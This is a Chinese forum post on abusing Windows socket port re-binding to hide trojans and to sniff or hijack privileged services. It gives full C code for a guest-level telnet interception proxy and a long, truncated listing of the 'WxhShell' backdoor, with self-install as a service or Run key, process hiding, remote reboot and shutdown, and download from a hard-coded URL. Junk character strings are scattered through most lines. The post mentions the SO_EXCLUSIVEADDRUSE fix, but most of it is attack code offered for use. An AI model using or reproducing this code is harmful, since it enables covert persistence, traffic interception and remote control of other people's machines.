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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'u4ezwF;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F3oQ^;xB  
+f0~D(d!_  
  saddr.sin_family = AF_INET; +x]9+D&  
azP+GM=i7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h8 G5GRD  
/j"sS2$U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &/A 8-:m  
~Z ~v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Wy]^Ub gW  
y{9~&r  
  这意味着什么?意味着可以进行如下的攻击: 0GDvwy D1  
nJ?^?M'F%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~dHM4lGY  
Cv)/7vyB8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]0B|V2D#e  
*[eL~oN.c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 39 Y(!q  
0)m8)!gj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Zs2-u^3&  
I =Wc&1g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %g]vxm5?  
zu2HH<E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q/I)V2a1i  
nH !3(X*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $XBAZ<"hd  
}%TSGC4{  
  #include OndhLLz  
  #include fQnwy!-\  
  #include sP'0Sl~NU  
  #include    1\L[i];L8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (x;g/!:  
  int main() QO{y/{  
  { dz#5q-r  
  WORD wVersionRequested; kHc<*L_ V  
  DWORD ret; %OcGdbs  
  WSADATA wsaData; Oq(VvS/  
  BOOL val; .r+hERcB  
  SOCKADDR_IN saddr; (IbW; bV  
  SOCKADDR_IN scaddr; [O ",  
  int err; 9^F2$+T[:  
  SOCKET s; 8 iC:xcN3  
  SOCKET sc; 2WvN2" f3  
  int caddsize; Ap\AP{S4  
  HANDLE mt; rAQF9O[  
  DWORD tid;   ,%#   
  wVersionRequested = MAKEWORD( 2, 2 ); ,}D}oo*  
  err = WSAStartup( wVersionRequested, &wsaData ); Uf*EJ1Ei  
  if ( err != 0 ) { n,M)oo1G  
  printf("error!WSAStartup failed!\n"); 3UUGblg`~  
  return -1; L3(^{W]|  
  } 1+y"i<3)  
  saddr.sin_family = AF_INET; Zt3}Z4d  
   mV9A{h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K,xW6DiH  
~<qt%W?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @LD6:gy  
  saddr.sin_port = htons(23); [LM^), J?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >n.z)ZJ  
  { m:Go-tk  
  printf("error!socket failed!\n"); >x:EJV   
  return -1; X7*`  
  } fn{S "33"  
  val = TRUE; O';ew)tI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )wzV $(~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7q9gngT1LA  
  { Q}2[hB  
  printf("error!setsockopt failed!\n"); x;BbTBc>  
  return -1; E^ h=!RW{  
  } qW^vz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?Ce#BwQ>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Vs 0 SXj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ":?T%v>  
{#Q\z>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) farDaS[\VY  
  { N1--~e  
  ret=GetLastError(); u~ F ;x Q  
  printf("error!bind failed!\n"); e5v`;(^M  
  return -1; GtI6[ :1t  
  } 6DSH`-;  
  listen(s,2); T*q"N?/4  
  while(1) !#D=w$@r:  
  { ,i`h x, Rg  
  caddsize = sizeof(scaddr); W,hWOO  
  //接受连接请求 IvBGpT"(I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *8g<R  
  if(sc!=INVALID_SOCKET) ]Nk!4"  
  { {gy+3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q{4|Kpx@  
  if(mt==NULL) (hZ:X)E>  
  { +`| *s3M  
  printf("Thread Creat Failed!\n"); f!GHEhQ9  
  break; F#q&(  
  } "4}wnu6/  
  } zDBD.5R;  
  CloseHandle(mt); :pKG\A  
  } o#i ]"  
  closesocket(s); j^u[F"  
  WSACleanup(); |DG@ht  
  return 0; +/'<z  
  }   )q?$p9  
  DWORD WINAPI ClientThread(LPVOID lpParam) @] .VQ<X|0  
  { Q2'eQ0W{ o  
  SOCKET ss = (SOCKET)lpParam; M StX*Zw  
  SOCKET sc; 7|D|4!i2Y  
  unsigned char buf[4096]; L-'k7?%(  
  SOCKADDR_IN saddr; sB*o)8  
  long num; MR9/Y:Nm  
  DWORD val; x6yW:tUG5  
  DWORD ret; hFb fNB3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z(!pYhLq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )@ PnTpL*  
  saddr.sin_family = AF_INET; 0g(6r-2)7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !QC<n/  
  saddr.sin_port = htons(23); u35q,u=I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3B18dv,V  
  { [QEwK|!L  
  printf("error!socket failed!\n"); EnCU4CU`  
  return -1; t3F?>G#y  
  } CI^|k/  
  val = 100; B\<ydN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a?<?5   
  { U}P,EP%p  
  ret = GetLastError(); 7!d$M{0"  
  return -1; Yw"P)Zp  
  } _`aR_ %Gx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L{PH0Jf  
  { =:5<{J OG  
  ret = GetLastError(); co]Gmg6p  
  return -1; Va9q`XbyO  
  } T^)plWw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Xem| o&  
  { p{H0dj^|  
  printf("error!socket connect failed!\n"); i,OKf Xp  
  closesocket(sc); U)~#g'6:8  
  closesocket(ss); kEAhTh&g*  
  return -1; ,olwwv_8G  
  } G' Hh{_:  
  while(1) u6_jnZGB  
  { ~zMKVM1Q.,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 NNX% Bq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mU]s7` %<>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -Cj_B\  
  num = recv(ss,buf,4096,0); z>:U{!5k  
  if(num>0) >(tO QeN  
  send(sc,buf,num,0); BvJ=iB<E  
  else if(num==0) b>=7B6 Aw  
  break; m3?e]nL4W  
  num = recv(sc,buf,4096,0); ZlM_ m >,o  
  if(num>0) UX}*X`{  
  send(ss,buf,num,0); 3}4#I_<$F@  
  else if(num==0) G2@KI-  
  break; a/e\vwHLv  
  } ;eR{tH /4  
  closesocket(ss); qc-C>Ra  
  closesocket(sc); 6UB6;-  
  return 0 ; z6Z='=pT  
  } 7|~:P $M  
QN #)F  
q!2<=:f  
========================================================== `E;)`J8b  
AQn[*  
下边附上一个代码,,WXhSHELL 22I Yrk  
|uQ[W17^N  
========================================================== ^Jtl;Q  
LhKY}R  
#include "stdafx.h" q] ZSj J  
syMm`/*/G-  
#include <stdio.h> ?z"YC&Tp  
#include <string.h> K{FhT9R'  
#include <windows.h> Z!)f*  
#include <winsock2.h> Qdm(q:w  
#include <winsvc.h> lVT&+r~r  
#include <urlmon.h> T{;=#rG<  
=+(Q.LmhC  
#pragma comment (lib, "Ws2_32.lib") KL~AzLI  
#pragma comment (lib, "urlmon.lib") X!7Xg  
b6Xi  
#define MAX_USER   100 // 最大客户端连接数 F G _,  
#define BUF_SOCK   200 // sock buffer {9{J^@@  
#define KEY_BUFF   255 // 输入 buffer g 2#F_  
M\jB)@)  
#define REBOOT     0   // 重启  3se$,QmN  
#define SHUTDOWN   1   // 关机 H oS|f0  
mrReast  
#define DEF_PORT   5000 // 监听端口 1w) fu  
yI4DVu.  
#define REG_LEN     16   // 注册表键长度 !3?~#e{_  
#define SVC_LEN     80   // NT服务名长度 6'vi68  
cl2ze  
// 从dll定义API .r*#OUC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 500> CBL0O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @:IL/o*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |Ib.)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $$~a=q,P[  
1!s!wQgS  
// wxhshell配置信息 &$Ci}{{n#  
struct WSCFG { "_oLe;?$c  
  int ws_port;         // 监听端口 .SBc5KX  
  char ws_passstr[REG_LEN]; // 口令 G)4SWu0<t  
  int ws_autoins;       // 安装标记, 1=yes 0=no m/" J s  
  char ws_regname[REG_LEN]; // 注册表键名 \3: L Nt  
  char ws_svcname[REG_LEN]; // 服务名 6.UKB<sV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ip674'bq7R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jB/V{Y#y9@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6*V8k%H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |87W*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lkN'uZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E7gL~4I  
*CT.G'bQX  
}; Bj+wayMi  
Ba<#1p7_  
// default Wxhshell configuration YkVRl [  
struct WSCFG wscfg={DEF_PORT, @7]\y7D  
    "xuhuanlingzhe", p&m ^IWD  
    1, [Q=4P*G}X  
    "Wxhshell", z2ds8-z  
    "Wxhshell", pbFYiu+  
            "WxhShell Service", e-jw^   
    "Wrsky Windows CmdShell Service", " C&x ,Ic  
    "Please Input Your Password: ", wU.'_SBfB  
  1, xLZMpP5c  
  "http://www.wrsky.com/wxhshell.exe", @,GjeF]!  
  "Wxhshell.exe" .2/,XwIr  
    }; QWQ!Ak  
WySNL#>a  
// 消息定义模块 4xpj<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G6<HO7\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J/= +r0c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q1P :^<[  
char *msg_ws_ext="\n\rExit."; =J`gGDhGY-  
char *msg_ws_end="\n\rQuit."; >Rr!rtc'x  
char *msg_ws_boot="\n\rReboot..."; qZ233pc  
char *msg_ws_poff="\n\rShutdown..."; vD_u[j]  
char *msg_ws_down="\n\rSave to "; { q})kO  
i5Eeg`NMl  
char *msg_ws_err="\n\rErr!"; )'=V!H#U*  
char *msg_ws_ok="\n\rOK!"; _J` |<}?t;  
> Z]P]e  
char ExeFile[MAX_PATH]; SC]6F*  
int nUser = 0; 7 s7}?l9  
HANDLE handles[MAX_USER]; \A ;^ UxG  
int OsIsNt; C1n? ?Y[  
iq,ah"L  
SERVICE_STATUS       serviceStatus; rAL1TU(vm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n}42'9p  
BU'Ki \  
// 函数声明 f<^ScFVR  
int Install(void); QaIi.* tic  
int Uninstall(void); >Sh0dFqeT  
int DownloadFile(char *sURL, SOCKET wsh); ;r%<2(  
int Boot(int flag); FF8WTuzB+  
void HideProc(void); hJ<:-u+yk}  
int GetOsVer(void);  .fbYB,0w  
int Wxhshell(SOCKET wsl); l'W3=,G[?  
void TalkWithClient(void *cs); /(y4V  
int CmdShell(SOCKET sock); ysL0hwir  
int StartFromService(void); s87 a %  
int StartWxhshell(LPSTR lpCmdLine); ,!jR:nApE  
<` #,AVH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |G>q:]+AV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^NY+wR5Sn  
<\+Po<)3j  
// 数据结构和表定义 fmtuFr^a1  
SERVICE_TABLE_ENTRY DispatchTable[] = bGhhh/n  
{ 3Gj(z:)b  
{wscfg.ws_svcname, NTServiceMain}, /7.wQeL9  
{NULL, NULL} tP&{ J^G  
}; 7 FEzak'  
)iT.A  
// 自我安装 eB)UXOu1  
int Install(void) o`oRG)QC  
{ )hePN4edj  
  char svExeFile[MAX_PATH]; }<E sS  
  HKEY key; 5%EaX?0h+  
  strcpy(svExeFile,ExeFile); /\6}S G;  
>3<&V{<K  
// 如果是win9x系统,修改注册表设为自启动 Dr4?Ow  
if(!OsIsNt) { WW)_Wh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oZ?IR#^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qxRT1B]{Wx  
  RegCloseKey(key); D7 %^Ly  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { muW`pm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bi'I18<  
  RegCloseKey(key); ,oC= {^l{  
  return 0; I:r($m  
    } 9NJ=~Ub-  
  } 6(\q< fx  
} q] 2}UuM|U  
else { Sr4dY`V*:z  
Uyz;U34 oI  
// 如果是NT以上系统,安装为系统服务 _HSTiJVr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8h55$j  
if (schSCManager!=0) mMel,iK=  
{ $_4oN(WSz  
  SC_HANDLE schService = CreateService \Sz4Gr0g3Z  
  ( V 22q*/iV  
  schSCManager, ---Ks0\V  
  wscfg.ws_svcname, aa%Yk"V @  
  wscfg.ws_svcdisp, V5hp Y ]  
  SERVICE_ALL_ACCESS, 95_[r$C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N:m@D][/sW  
  SERVICE_AUTO_START, <|mE9u  
  SERVICE_ERROR_NORMAL, ,e}mR>i=e  
  svExeFile, BiVd ka  
  NULL, ~ nLkn#Z  
  NULL, .Y=Z!Q  
  NULL, {s9y@c*15.  
  NULL, : OS mr  
  NULL Dx9$H++6$X  
  ); | 7t=\  
  if (schService!=0) Fm-q=3  
  { &!3VqHQ`  
  CloseServiceHandle(schService); `kaR@t  
  CloseServiceHandle(schSCManager); a!s.850@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `?Y_0Nh>  
  strcat(svExeFile,wscfg.ws_svcname); d;@E~~o?B]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^sr:N5~z`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @g@ fL%  
  RegCloseKey(key); f(w#LuW<  
  return 0; \i&vOH'  
    } 8u7K$Q  
  } -oaG|  
  CloseServiceHandle(schSCManager); V1UUAvN7s  
} >" PqQO  
} +35)=Uov  
?=pZmvQg  
return 1; 1{;[q3a  
} C[Y%=\6'0  
\4]zNV ~x  
// 自我卸载 &r 5&6p  
int Uninstall(void) mmpr]cT@'k  
{ hIE%-gZ/  
  HKEY key; \ N-| iq  
qr<-eJf  
if(!OsIsNt) { UH1S_:6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &deZ  
  RegDeleteValue(key,wscfg.ws_regname); 0|K/=dh5+  
  RegCloseKey(key); 4EaS g#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .O@q5G  
  RegDeleteValue(key,wscfg.ws_regname); {7ZtOe  
  RegCloseKey(key); o|p;6  
  return 0; KV) Hywl`  
  } d~P<M3#>  
} i_jax)m%  
} #NVF\  
else { GDNh?R  
<MWXew7b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~|0F?~eR7  
if (schSCManager!=0) 3<~2"@J  
{ QTrlQH&p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3& fIO  
  if (schService!=0) /z.7: <gZ(  
  { /I`bh  
  if(DeleteService(schService)!=0) { ' Z(MV&  
  CloseServiceHandle(schService); Npf7p  
  CloseServiceHandle(schSCManager); 5* o\z&*L  
  return 0; T?p`Y| gl  
  } e!2%ku  
  CloseServiceHandle(schService); $jUS[.S_|I  
  } b0zxT9  
  CloseServiceHandle(schSCManager); +UpMMh q  
} #sm_.?P  
} 6|"!sW`%N  
J4*:.8Ki  
return 1; w50Bq&/jX  
} fW4cHB 9|  
I ]WeZ,E  
// 从指定url下载文件 *]E7}bqb  
int DownloadFile(char *sURL, SOCKET wsh) 95gsv\2  
{ wn A%Nh7  
  HRESULT hr; ftI+#0?[!  
char seps[]= "/"; 0F0Q=dZ  
char *token; Aa\=7  
char *file; ;ow~vO,x  
char myURL[MAX_PATH]; 7S~9E2N  
char myFILE[MAX_PATH]; skC|io-Zv  
;([tf;  
strcpy(myURL,sURL); 8#d1}Y  
  token=strtok(myURL,seps); HHu7{,  
  while(token!=NULL) 9Qs"X7iH  
  { _w5~/PbWt  
    file=token; PhI6dB`  
  token=strtok(NULL,seps); *3etxnQc  
  } ek;&<Z_ ]  
N|Cy!E=d  
GetCurrentDirectory(MAX_PATH,myFILE); #@\NdW\  
strcat(myFILE, "\\"); afP&+ 5t@O  
strcat(myFILE, file); UmD-7Fd  
  send(wsh,myFILE,strlen(myFILE),0); %&=(,;d  
send(wsh,"...",3,0); 2dd:5L,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Jn <^Q7N  
  if(hr==S_OK) 7)(`  
return 0; V^$rH<  
else $ DZQdhv  
return 1; %3l;bR>  
C +?@iMh  
} D8D!16_  
eDM0417O(  
// 系统电源模块 ";S*[d.2tA  
int Boot(int flag) =`\,2Nb  
{ b#I*~  
  HANDLE hToken; >2Qqa;nx|  
  TOKEN_PRIVILEGES tkp; Dy{`">a  
kj3o1Y  
  if(OsIsNt) { u0 oYb_Yv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6nWx>R<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :rs\ydDUF  
    tkp.PrivilegeCount = 1; `j!2uRFe>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >K|GLP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1={Tcq\]  
if(flag==REBOOT) { 4(0t GF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iZq@W3GL C  
  return 0; noUZ9M|hz  
} ,I&0#+}n  
else { 548 [! p4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3P^gP32  
  return 0; =Z>V}`n  
} -ynLuq#1A  
  } ]-5jgz"  
  else { 2eR+dT  
if(flag==REBOOT) { 0-~6} r$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o? O,nD 6  
  return 0; ^B!?;\4IM  
} C8W`Oly:]  
else { 5fx,rtY2sQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) > v!c\  
  return 0; BQ}.+T\  
} >wS:3$Q  
} E#2k|TpH4  
Qdr-GODx  
return 1; -z 5k4Y  
} .kKwdqO+zB  
FPUR0myCU  
// win9x进程隐藏模块 L|1zHDxQ  
void HideProc(void) FqUt uN  
{ q}F%o0  
vBYT)S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O"^a.`27  
  if ( hKernel != NULL ) &P{p\v2Y  
  { BSu)O~s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7f Tg97eF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HFx"fT  
    FreeLibrary(hKernel); eW*ae;-  
  } M7<#=pX&  
@oc%4~zl  
return; ]vkHU6d  
} .f<VmUca  
fYQi#0drn  
// 获取操作系统版本 +$QL0|RL  
int GetOsVer(void) '/Cz{<,  
{ Ce'2lo  
  OSVERSIONINFO winfo; .nF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k q.h\[  
  GetVersionEx(&winfo); AW&s-b%P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l 75{JxZX  
  return 1; O-lh\9{'R  
  else OZ14-}Lr5  
  return 0; U>-#('  
} ;ld~21#m  
2[&-y[1  
// 客户端句柄模块 $~@096`QL<  
int Wxhshell(SOCKET wsl) PW//8lsR  
{ iN4'jD^oP  
  SOCKET wsh; Qp{-!*  
  struct sockaddr_in client; 6ym)F!t8l  
  DWORD myID; |wb(rua  
9egaN_K  
  while(nUser<MAX_USER) /^eemx  
{ 8Pdnw/W  
  int nSize=sizeof(client); rHBjR_L.2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ru')X{]25  
  if(wsh==INVALID_SOCKET) return 1; )zt4'b\)v  
RrpF i'R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "sx&8H"  
if(handles[nUser]==0) HeifFJn  
  closesocket(wsh); Y9L6W+=T  
else N_k6UA9  
  nUser++; UR2)e{RXg  
  } A^@<+?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L.:QI<n  
_%TeTNY#  
  return 0; !gew;Jz  
} N&h!14]{ Z  
:Fd9N).%  
// 关闭 socket sK/"  
void CloseIt(SOCKET wsh) i6:yNb ='  
{ <a[8;YQC  
closesocket(wsh); XK-x*|  
nUser--; ,wo"(E!4e  
ExitThread(0); rPpAg  
} ({nSs5)$  
;OJ0}\*iP8  
// 客户端请求句柄 swq!S p  
void TalkWithClient(void *cs) fToI,FA  
{ 5 t?2B]  
sLqvDH?V  
  SOCKET wsh=(SOCKET)cs; X@q1;J  
  char pwd[SVC_LEN]; Lbp6I0&n  
  char cmd[KEY_BUFF]; k[)@I;m  
char chr[1]; E(LE*J  
int i,j; V(uRKu x  
!D&MJThNy  
  while (nUser < MAX_USER) { kD7(}N8YR  
ld?.o/  
if(wscfg.ws_passstr) { Z|S7 " ,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 32P]0&_O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &*GX:0=/>  
  //ZeroMemory(pwd,KEY_BUFF); 5w{pX1z1  
      i=0;  A;x^6>  
  while(i<SVC_LEN) { oz-I/g3go  
:=eUNH  
  // 设置超时 ucPMT0k  
  fd_set FdRead; &it/@8yH  
  struct timeval TimeOut; (+ anTA=  
  FD_ZERO(&FdRead); :Rj,'uH+h)  
  FD_SET(wsh,&FdRead); {leG~[d  
  TimeOut.tv_sec=8; &)jZ|Q~  
  TimeOut.tv_usec=0; .{Oq)^!ot  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4H)" d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _N';`wjDY  
6|cl`}g_j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t3g! 5  
  pwd=chr[0]; i4rF~'h@  
  if(chr[0]==0xd || chr[0]==0xa) { + qqN  
  pwd=0; $i>VI  
  break; M?zAkHNS$  
  } P$Ru NF  
  i++; a\_,_psK  
    } Vdk+1AX  
beZ| i 1:  
  // 如果是非法用户,关闭 socket n`Iy7X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3*2pacHpE  
} E}&jtMRUt  
}_;!E@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3~xOO*`o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =W*`HV-w  
@0'|Uygn  
while(1) { &~f_1<  
bR,Iq}p  
  ZeroMemory(cmd,KEY_BUFF); JhIK$Ti  
p;=(-4\V}  
      // 自动支持客户端 telnet标准   (k&aD2PH  
  j=0; 0*@S-Lj^c  
  while(j<KEY_BUFF) { 7b2<, .E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `_^=OOn  
  cmd[j]=chr[0]; VW`=9T5%@  
  if(chr[0]==0xa || chr[0]==0xd) { *G41%uz  
  cmd[j]=0; F &}V65  
  break; ~U+'3.Wo  
  } 0|;=mYa4M  
  j++; rNyK*Wjt  
    } MV \zwH  
 U~t(YT  
  // 下载文件 cpnwx1q@  
  if(strstr(cmd,"http://")) { ,m]q+7E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6|}mTG^  
  if(DownloadFile(cmd,wsh)) b.;}Hq>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tj9q(Vq  
  else rtE,SN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h cXqg  
  } B{ "<\g  
  else { .p>8oOp  
/Ql}jSKi  
    switch(cmd[0]) { zUqDX{I8  
  rSn7(3e4^  
  // 帮助 q8>Q,F`BA  
  case '?': { &_j4q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3k^jR1  
    break; m5{SPa,y  
  } !F)oX7"  
  // 安装 -m/4\D  
  case 'i': { ;xwQzu%M>5  
    if(Install()) */E{s?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fif<[Ax  
    else _y UFe&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [=+/  
    break; ^&HYnwk  
    } e,8-P-h~T  
  // 卸载 !d(V7`8  
  case 'r': { d*L'`BBsp  
    if(Uninstall()) 1[^d8!U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y9)",G!  
    else ^ BKr0~4A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sN2l[Ous  
    break; vE(Hy&Q&  
    } +)S X  
  // 显示 wxhshell 所在路径 e AjtWqg  
  case 'p': { ]XU#i#;c  
    char svExeFile[MAX_PATH]; ]U%Tm>s.  
    strcpy(svExeFile,"\n\r"); `l#g`~L  
      strcat(svExeFile,ExeFile); W:\VFP f2  
        send(wsh,svExeFile,strlen(svExeFile),0); "#jKk6{I0  
    break; K<GCP2  
    }  7I|Mq  
  // 重启 UhK,H   
  case 'b': { h# 8b#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *en{pR'  
    if(Boot(REBOOT)) tO7{g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *OiHrI9y  
    else { y1X.Mvc  
    closesocket(wsh); A_%w (7o"  
    ExitThread(0); ^iNR(cwgX  
    } {NR~>=~K-  
    break; 14RL++  
    }  t2iFd?  
  // 关机 h 8s*FI  
  case 'd': { zeX?]@]Y  
